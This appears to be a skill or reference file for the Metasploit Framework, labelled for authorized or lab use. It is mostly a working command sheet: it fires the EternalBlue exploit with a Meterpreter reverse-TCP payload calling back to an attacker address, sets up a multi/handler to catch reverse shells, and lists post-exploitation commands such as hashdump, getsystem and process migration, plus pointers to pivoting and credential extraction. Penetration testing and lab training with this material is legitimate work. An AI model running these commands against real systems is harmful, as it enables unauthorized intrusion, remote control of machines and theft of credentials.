| name | metasploit |
| description | Auth/lab ref: Metasploit module reference; search/config/check, handler/session lab, msfconsole/msfvenom syntax, evidence capture. |
| license | BSD-3-Clause |
| compatibility | Linux, macOS, Windows; msfconsole and msfvenom reference context. |
| metadata | {"author":"AeonDave","version":"1.0"} |
Metasploit Framework
Exploit framework — find, configure, and fire exploits; manage sessions; automate post-exploitation.
Quick Start
msfdb init && msfconsole
msfconsole -q
Core Workflow
msf6 > search type:exploit name:eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > info
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS 10.10.10.10
msf6 exploit(...) > set LHOST 10.10.14.5
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run
Search Syntax
search type:exploit platform:windows name:smb
search cve:2021-44228
search type:auxiliary name:scanner
search rank:excellent platform:linux
Module Types
| Type | Prefix | Use |
|---|
| exploit | exploit/ | Run exploit against target |
| auxiliary | auxiliary/ | Scanners, fuzzers, brute-force |
| post | post/ | Post-exploitation on session |
| payload | payload/ | Shellcode / stager |
| encoder | encoder/ | Payload obfuscation |
| nop | nop/ | NOP sleds |
Essential Commands
info
show options
show payloads
show targets
set OPTION VALUE
setg OPTION VALUE
unset OPTION
check
run / exploit
run -j
jobs
kill <id>
Payload Selection
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set PAYLOAD windows/x64/meterpreter_reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/shell_reverse_tcp
linux/x64/meterpreter/reverse_tcp
linux/x64/shell/reverse_tcp
python/meterpreter/reverse_tcp
Multi/Handler (Catch Reverse Shells)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j
Sessions
sessions -l
sessions -i 1
sessions -u 1
sessions -k 1
background
Meterpreter Quick Reference
sysinfo
getuid
getsystem
getpid
ps
migrate <PID>
shell
upload file /path/
download /path/file
ls / pwd / cd
hashdump
run post/multi/recon/local_exploit_suggester
Database Commands
db_nmap -sV -p- 10.10.10.10
hosts
services
vulns
creds
Resources
| File | When to load |
|---|
references/msfvenom.md | Payload generation with msfvenom, encoders, formats |
references/post-exploitation.md | Post modules, pivoting, credential extraction |